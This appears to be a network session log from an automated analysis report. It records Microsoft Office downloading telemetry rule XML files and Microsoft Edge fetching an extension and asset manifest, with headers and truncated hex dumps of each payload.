2024-11-12 12:35:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:33 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 846f043b-001e-0017-58a7-340c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123533Z-17df447cdb5fh5hghC1DFWam0400000009400000000002t5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:33 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	51609	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:33 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:33 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:33 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 3018d77d-101e-008d-49d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123533Z-16547b76f7fwvr5dhC1DFW2c940000000fm0000000003yuy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:33 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	51610	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:33 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:33 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:33 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: ddaecdfb-101e-0079-21d2-2c5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123533Z-16547b76f7ftdm8dhC1DFWs13g0000000fk0000000009tz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:33 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	51611	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:33 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:33 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 21399fcf-c01e-008e-25a8-347381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123533Z-17df447cdb5c9wvxhC1DFWn08n0000000cd0000000001crb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:34 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	51612	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:33 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:34 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:33 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 98909b4d-d01e-002b-39d2-2c25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123533Z-16547b76f7f76p6chC1DFWctqw0000000fs0000000006ckc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:34 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	51613	152.195.19.97	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:33 UTC	614	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732019729&P2=404&P3=2&P4=gnachKdURufDv36ThjtFHmISXCAv74WMKGERX%2buGkAuOBjTjC3Fg7BTsj0nvai5BBtUD4CoZeTxf5JwTxVyvGw%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: nGH5u4YZbYBTm1hwGFyC7p Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 12:35:34 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 11341464 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Tue, 12 Nov 2024 12:35:33 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: 5880bbaa-f139-48dd-942e-a0adb04a9f4c MS-CV: Grb0Lx3ldaAxoNaTt1rCGY.0 MS-RequestId: 803a6f2d-d0c7-4dfc-9472-668c4d649ec3 Server: ECAcc (dac/9C9C) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-12 12:35:34 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	51614	13.107.246.57	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:33 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 12:35:34 UTC	577	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:33 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 6d5c7e92-401e-0049-21b4-2e5b67000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T123533Z-16547b76f7fp46ndhC1DFW66zg0000000fqg000000005qb6 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:34 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-12 12:35:34 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-12 12:35:34 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-12 12:35:34 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-12 12:35:34 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-12 12:35:34 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-12 12:35:34 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-12 12:35:34 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
